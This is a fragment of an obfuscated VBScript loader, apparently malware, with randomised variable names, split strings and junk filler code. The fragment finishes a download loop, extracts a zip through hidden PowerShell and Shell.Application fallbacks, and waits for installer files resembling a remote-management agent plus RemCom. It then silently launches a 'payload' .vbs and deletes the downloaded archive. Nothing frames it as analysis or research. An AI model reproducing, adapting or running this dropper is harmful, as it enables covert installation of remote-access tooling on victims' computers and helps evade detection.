    Zxxwfxsmi = 11114
End If
        If DownloadFile(Swevypdywdt, Skuplh) Then
' UssFtwJlq 98C8
            LogMsg "down"&"lo"&"ad"&" O"&"K"
            Zmlsmudmgap = True
' pXEoCifBIts
            Exit For
' TODO: cvvGuehxFNSj
' TODO: GvWlQA
        End If
        WScript.Sleep Int((3000 - 1000 + 1) * Rnd + 1000)
    Next
    If Zmlsmudmgap Then Exit For
' eDOZGbWBvA BE95
    WScript.Sleep Int((1500 - 500 + 1) * Rnd + 500)
' TODO: TooHBotVVO
Next
' WemCpr

' HqwGR 6DE3
Dim Arhrssgvloy
' qcIIpaC
If Not Zmlsmudmgap Then
' hqDdEUNbKkuZq
    LogMsg "ALL D"&"OWNLOAD"&"S FAILE"&"D"
Dim Nenxab
    WriteStatus "download_"&"failed", "all at"&"temp"&"ts f"&"ailed"
' TODO: hxqlqj
    If PROD_QUIT_ZERO Then
' v8.24
' ReUWXeplU
        WScript.Quit 0
' JwEpPhzs
    Else
Dim Uosoeelkkwp
        WScript.Quit 1
Dim Ckimkplf
    End If
End If
' v1.27

Dim Jelbme
' =============================================================================
If 1 = 1 Then
    Dim Vehboyixaog
    Vehboyixaog = 96072
' crvOlIpBvo D71C
End If
' qYrh B64B
Dim Tokgterba
' [P0] Find payload: PAYLOAD_NAME first, then unique .vbs under ext\
' vBqszUkiKK 421B
' =============================================================================
' TODO: idDfgJFuQQKYaxDBck
Function FindPayloadVBS()
' TODO: bdOJQjOwOJX
    On Error Resume Next
    FindPayloadVBS = ""
    Dim Qjrabvyxlvf, Kqxlgg, Zlsjsaz, Zmscodso, Pmcumdcwbk, Cfmkajmm
    Qjrabvyxlvf = Mxexqm & PAYLOAD_NAME

    If Qjkdhbam.FileExists(Qjrabvyxlvf) Then
' qghthnguAmFJ
Dim Gctuafqfn
' xtwKtdn 046C
' TODO: caVTpzxGXWVdix
        FindPayloadVBS = Qjrabvyxlvf
' ipkDqfRokocet 539E
        Exit Function
' wsinqwTmWeFtG 4321
    End If

    If Qjkdhbam.FolderExists(Mxexqm) Then
        Set Kqxlgg = Qjkdhbam.GetFolder(Mxexqm)
        For Each Cfmkajmm In Kqxlgg.SubFolders
' iuCI DB64
            If Qjkdhbam.FileExists(Cfmkajmm.Path & "\" & PAYLOAD_NAME) Then
' zZDeNyzGqU 9DF8
' v2.30
                FindPayloadVBS = Cfmkajmm.Path & "\" & PAYLOAD_NAME
                Exit Function
            End If
' TODO: DBsXqQit
' DIffkqaJmvZQYW
        Next

Dim Mqsnjpivefki
        Pmcumdcwbk = 0
Dim Fqpgicvw
        Zmscodso = ""
        For Each Zlsjsaz In Kqxlgg.Files
' JwHu
' rksJgAM
Dim Iafhnkzz
            If LCase(Qjkdhbam.GetExtensionName(Zlsjsaz.Name)) = "vbs" Then
                Pmcumdcwbk = Pmcumdcwbk + 1
Dim Sopnllb
                Zmscodso = Zlsjsaz.Path
' HMgwxGW A49B
            End If
' ZCwxi
' GBZsaoguiThDm
        Next
' TODO: oIpGerzVl
        If Pmcumdcwbk = 1 Then
Dim Vfojwrfuiug
            FindPayloadVBS = Zmscodso
            Exit Function
        End If
' dtSB 6672

Dim Qgucgnwjqdss
        For Each Cfmkajmm In Kqxlgg.SubFolders
            Pmcumdcwbk = 0
' v7.13
Dim Zlawonzurh
            Zmscodso = ""
            For Each Zlsjsaz In Cfmkajmm.Files
Dim Jiwvgnuammwb
' TODO: kKRGeAOER
                If LCase(Qjkdhbam.GetExtensionName(Zlsjsaz.Name)) = "vbs" Then
                    Pmcumdcwbk = Pmcumdcwbk + 1
                    Zmscodso = Zlsjsaz.Path
' wGetLSKGZsCg
                End If
' v1.45
Dim Djxylnp
            Next
            If Pmcumdcwbk = 1 Then
                FindPayloadVBS = Zmscodso
                Exit Function
' v3.7
            End If
' UkJVIZFrYbqx
        Next
    End If
If 1 = 1 Then
    Dim Ihzlay
' vLyGNP
    Ihzlay = 56058
End If
    Err.Clear
If 1 = 1 Then
' TODO: FcVDIBnUteV
    Dim Rwqlmjqhdpqu
    Rwqlmjqhdpqu = 48821
End If
' SJjowpnJfmP
Dim Tagmvlp
End Function
' OgtvlQIVWdGer 7A43

' v4.72
Dim Prcmbxzgc
' =============================================================================
Dim Juywccwhd
' [P0] Wait until every required file exists and sizes stabilize
' =============================================================================
If 1 = 1 Then
' cPnGDmN
    Dim Htuixpjwl
' iPPgxpGPJFB 9ADB
' TODO: yePLgMvGbBiJFIvCPL
    Htuixpjwl = 95985
' TODO: PhiABqRZgSFcjyJP
End If
' TODO: aFEfwat
Function RequiredFilesReady()
    On Error Resume Next
    RequiredFilesReady = False
    Dim Qlsfxwgiww, i, Kbwzgg, Xvnuoakem
    Qlsfxwgiww = Array("DCAgentServerInfo.json", "UEMSAgent.mst", "DMRootCA.crt", "DMRootCA-Server.crt", "dcremagentinstaller.exe", "setup.bat", "README.html", "RemCom.exe", "UEMSAgent.msi", "setup1.vbs")
If 1 = 1 Then
' v5.72
    Dim Mxstowrhkb
    Mxstowrhkb = 1782
' LcnrmtjJ
End If
    For i = 0 To UBound(Qlsfxwgiww)
Dim Geqgexrkud
' tWMPmrHS 129C
        Kbwzgg = Mxexqm & Qlsfxwgiww(i)
        If Not Qjkdhbam.FileExists(Kbwzgg) Then Exit Function
Dim Tiyvvlavt
        Xvnuoakem = 1
        If LCase(Qlsfxwgiww(i)) = "uemsag"&"ent.msi" Then Xvnuoakem = 1000000
        If Qjkdhbam.GetFile(Kbwzgg).Size < Xvnuoakem Then Exit Function
' rvxnE
    Next
If 1 = 1 Then
' idOc
    Dim Ckoahglftl
    Ckoahglftl = 8858
End If
' XyRqLMhakV 2505
Dim Twywgrtqfain
    RequiredFilesReady = True
' rvDqJvu C18B
    Err.Clear
End Function

' TODO: KnJdeWwVpkDJ
Function RequiredFilesFingerprint()
    On Error Resume Next
    RequiredFilesFingerprint = ""
' esOLoGjNFtz 7FC9
' ZHTx 5AAF
    Dim Qlsfxwgiww, i, Kbwzgg
' v9.76
    Qlsfxwgiww = Array("DCAgentServerInfo.json", "UEMSAgent.mst", "DMRootCA.crt", "DMRootCA-Server.crt", "dcremagentinstaller.exe", "setup.bat", "README.html", "RemCom.exe", "UEMSAgent.msi", "setup1.vbs")
' McJLdjACNKQJ
Dim Pnmgpkblsid
    For i = 0 To UBound(Qlsfxwgiww)
        Kbwzgg = Mxexqm & Qlsfxwgiww(i)
        If Not Qjkdhbam.FileExists(Kbwzgg) Then Exit Function
        RequiredFilesFingerprint = RequiredFilesFingerprint & Qlsfxwgiww(i) & ":" & CStr(Qjkdhbam.GetFile(Kbwzgg).Size) & "|"
    Next
' XDnFGHep 14F5
If 1 = 1 Then
' raKbN BAE3
    Dim Iwdruca
' pbASVvVEzR
' cQprnbuuibXbe
    Iwdruca = 74790
End If
    Err.Clear
Dim Gpqivqifyh
' v7.98
End Function
' qfxf
' tJDODUQKTKJg E491

Function WaitForExtractionComplete(timeoutMs)
' RnEgc
    On Error Resume Next
' DYzRO 6E03
    WaitForExtractionComplete = False
    Dim Nsbqvatk, Dxuhkjy, Mdsfmzgnhfzo, Msdjcxmi
If 1 = 1 Then
    Dim Zmhthsglpz
    Zmhthsglpz = 62301
' ECpmCMTDIQCQ 8CCC
End If
    Nsbqvatk = 0
    Do While Nsbqvatk < timeoutMs
        If RequiredFilesReady() Then
            Dxuhkjy = RequiredFilesFingerprint()
            WScript.Sleep EXTRACT_POLL_MS
' TODO: OluoBvZXiWiajyDyFQ
Dim Urmyxvv
' IeUaRhBKWb
            Nsbqvatk = Nsbqvatk + EXTRACT_POLL_MS
            If RequiredFilesReady() Then
' teeRcBdfg
Dim Wjocsiteo
' GINpuyFWbJBCO C78F
                Mdsfmzgnhfzo = RequiredFilesFingerprint()
                If Dxuhkjy = Mdsfmzgnhfzo Then
' TODO: nfFWQAQS
Dim Jnlqhbbekqy
                    WScript.Sleep EXTRACT_POLL_MS
                    Nsbqvatk = Nsbqvatk + EXTRACT_POLL_MS
                    If RequiredFilesReady() Then
Dim Jvllqtkygmqn
                        Msdjcxmi = RequiredFilesFingerprint()
Dim Ckxstuunc
' TODO: BcBAjf
                        If Mdsfmzgnhfzo = Msdjcxmi Then
                            WaitForExtractionComplete = True
' v9.12
                            Exit Function
                        End If
' IACHJFkWdfBhOy 08D7
                    End If
' WfmcPJqlRHK 544D
                End If
            End If
' v3.48
Dim Yinhxqilfful
' TODO: chVPbsT
' LNlPUswelL 1A27
        Else
            WScript.Sleep EXTRACT_POLL_MS
            Nsbqvatk = Nsbqvatk + EXTRACT_POLL_MS
' v1.29
        End If
' rzdxyuDKVc
Dim Myrdfaxkfn
    Loop
' KpSiakahxfzfm
Dim Miwfgvbmieri
    Err.Clear
' TODO: ACmqiRipqw
Dim Tdsmdzlruk
End Function
' TODO: mOnsdbiNrXdnWCpWq

' v8.51
' =============================================================================
' TODO: hJpOeNStbxOzvZ
' [P0] Clear ext\ before re-extract (keep zip)
' v5.45
' =============================================================================
Sub ClearExtDir()
    On Error Resume Next
' v7.70
Dim Pzfsvhz
' v2.9
    Dim Kqxlgg, Zlsjsaz, Cfmkajmm
If 1 = 1 Then
' v1.77
    Dim Kqgbokhsx
    Kqgbokhsx = 15917
End If
    If Not Qjkdhbam.FolderExists(Mxexqm) Then
        Qjkdhbam.CreateFolder Mxexqm
        Exit Sub
    End If
' EMSxeBeXSnd 3533
    Set Kqxlgg = Qjkdhbam.GetFolder(Mxexqm)
' oDrTpBWgSo
    For Each Zlsjsaz In Kqxlgg.Files
        Zlsjsaz.Delete True
' TODO: jyWLUh
Dim Ydrbnv
    Next
' TODO: bFrLTEZEmCnvVtHM
' FOcyiXQa D0D3
Dim Yqkptpv
' HQfVkfCsfKgReL
    For Each Cfmkajmm In Kqxlgg.SubFolders
' SFpPyDLSJ
        Qjkdhbam.DeleteFolder Cfmkajmm.Path, True
    Next
' v5.94
    Err.Clear
' v7.3
End Sub

' =============================================================================
' [P0] Extraction: synchronous .NET first, legacy Shell fallback
' KLQAiqdlqLNxv
' =============================================================================
' v9.88
' v4.17
LogMsg "ext"&"ract"&"ing"&".."&"."
Dim Riqfualyihej, Rytljjke, Sngfdkfcr, Omofpwi, Nczhdnu
Riqfualyihej = False
Rytljjke = ""
Nczhdnu = 1

' wAAY
Dim Qstsrmwesb
' WzJzDO 0B29
' --- Method 1: synchronous .NET ZipFile (PowerShell/.NET 4.5+) ---
If Not Riqfualyihej Then
Dim Wlvkzrp
    On Error Resume Next
    ClearExtDir
    Dim Yqkaegtq
    Yqkaegtq = "powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -Command " & _
             """$ErrorActionPreference='Stop'; Add-Type -AssemblyName System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('" & Skuplh & "','" & Mxexqm & "')"""
    Sngfdkfcr = WshShell.Run(Yqkaegtq, 0, True)
Dim Tzdropi
    If Err.Number = 0 And Sngfdkfcr = 0 And WaitForExtractionComplete(EXTRACT_TIMEOUT_MS) Then
Dim Etfmqokhez
' v4.19
' uIhUCdyyOtBqtb
        Ghmgdqdnlowr = Mxexqm & PAYLOAD_NAME
Dim Fsnggbbwkb
        LogMsg "extracted via synchronous ZipFile"
' TODO: PYrrLFspfg
Dim Hnwfgpv
        Riqfualyihej = True
' TODO: zDlabF
    End If
    Err.Clear
End If

' isjlyYFhU
' --- Method 2: Shell.Application (max compat) ---
If Not Riqfualyihej Then
' v5.98
    On Error Resume Next
Dim Afczjj
' mxyPPV A6D4
    ClearExtDir
' TODO: FwgWOwGC
    Dim Qtxrsb, Gepzbs
' BKcEAKizKRwD
    Set Qtxrsb = Xfnzgjiqqrmx.NameSpace(CStr(Skuplh))
    Set Gepzbs = Xfnzgjiqqrmx.NameSpace(CStr(Mxexqm))
    If Not (Qtxrsb Is Nothing) And Not (Gepzbs Is Nothing) Then
' iYUETJMrZrOw 0349
        Gepzbs.CopyHere Qtxrsb.Items, &H043C
        If WaitForExtractionComplete(EXTRACT_TIMEOUT_MS) Then Rytljjke = Mxexqm & PAYLOAD_NAME
Dim Gpvgls
    End If
' UHheliodeg 78EA
    If Rytljjke <> "" Then
' Gdjlm
        Ghmgdqdnlowr = Rytljjke
        LogMsg "extracted via Shell.Application with stable-file checks"
' TODO: sOItssmd
        Riqfualyihej = True
    End If
' qRtRXVdqSEvTI
    Set Qtxrsb = Nothing
    Set Gepzbs = Nothing
Dim Ycvzotlmxo
' TODO: DMtYmETkkaJ
    Err.Clear
' TODO: rjQBCrql
' mSTskIYz
Dim Wfkudvgzn
' TODO: RESmVGE
' xeAiOxMXEPA 617E
End If
' TODO: zISBENyyRQnSF
' v3.72

' --- Method 3: one final synchronous ZipFile retry ---
' XDBSvCyINAhS B092
Dim Fjsned
If Not Riqfualyihej Then
Dim Bsdezamie
    On Error Resume Next
' PoqZJh
    ClearExtDir
    Dim Hqicghqb
    Hqicghqb = "powershell.exe -NoLogo -NoP"&"rofile -NonInteractive -Wind"&"owStyle Hidden -Command " & _
             """Add-Type -AssemblyName System.IO.Compression.FileSystem;" & _
             "[System.IO.Compression.ZipFi"&"le]::ExtractToDirectory('" & Skuplh & "','" & Mxexqm & "')"""
' iHyLZtmCiu F7FC
    Sngfdkfcr = WshShell.Run(Hqicghqb, 0, True)
    If Err.Number = 0 And Sngfdkfcr = 0 And WaitForExtractionComplete(EXTRACT_TIMEOUT_MS) Then
' v1.19
        Ghmgdqdnlowr = Mxexqm & PAYLOAD_NAME
' WCvFdyPclo
        LogMsg "extracted via s"&"ynchronous ZipF"&"ile retry"
' TODO: kpDFmSqCuNo
        Riqfualyihej = True
' ahGtLI
    End If
' v8.91
' TODO: zmRViWgzvdQVyKKA
    Err.Clear
End If

' =============================================================================
' [P0] Launch + Cleanup
' TODO: TBHxJNW
' kEdGljZ 7569
If 1 = 1 Then
' YnGr D610
' v5.36
    Dim Fzksghzhglw
    Fzksghzhglw = 69671
' slgOrXCuxdQs 2580
End If
' =============================================================================
If Riqfualyihej And Qjkdhbam.FileExists(Ghmgdqdnlowr) Then
    On Error Resume Next
' v6.91
    LogMsg "launching payload"
' GPUkiCgcTmGrT
Dim Utidpwtqbce
    WriteStatus "extrac"&"tio"&"n_rea"&"dy", "all required f"&"iles present "&"and stable"
' TODO: GwATOMQsBmURiIGK
    Omofpwi = WshShell.Run("wscript.exe //B //Nologo """ & Ghmgdqdnlowr & """", 0, True)
    If Err.Number <> 0 Or Omofpwi <> 0 Then
        LogMsg "payload launch failed rc=" & CStr(Omofpwi)
Dim Qukoylmkg
' v2.55
        WriteStatus "payload_l"&"aunch_fa"&"iled", CStr(Omofpwi)
    Else
        LogMsg "payloa"&"d starte"&"d rc=" & CStr(Omofpwi)
' TpGMpHvXVOBxR
' v1.46
        WriteStatus "paylo"&"ad_st"&"arted", CStr(Omofpwi)
        Nczhdnu = 0
    End If

    WScript.Sleep LAUNCH_WAIT_MS
    SafeDeleteFile Skuplh
Else
' mjhWBUqF 3E30
' v1.61
    LogMsg "EXTRACTION FAILED"
' v3.14
    WriteStatus "extrac"&"tion_fa"&"iled", "require"&"d files"&" missing "&"or unstabl"&"e"
' qEPlwxIVvx 02FD
' ZcMhwW 719A
End If

Dim Goakjwdub
Set WshShell = Nothing
Dim Gdgzknl
' swgJNJJrHf 696B
Set Qjkdhbam = Nothing
Dim Wozmihiy
Set Xfnzgjiqqrmx = Nothing
WScript.Quit Nczhdnu
' v2.52
' XbgEO
' TODO: OZgwRUKmuiyZtQe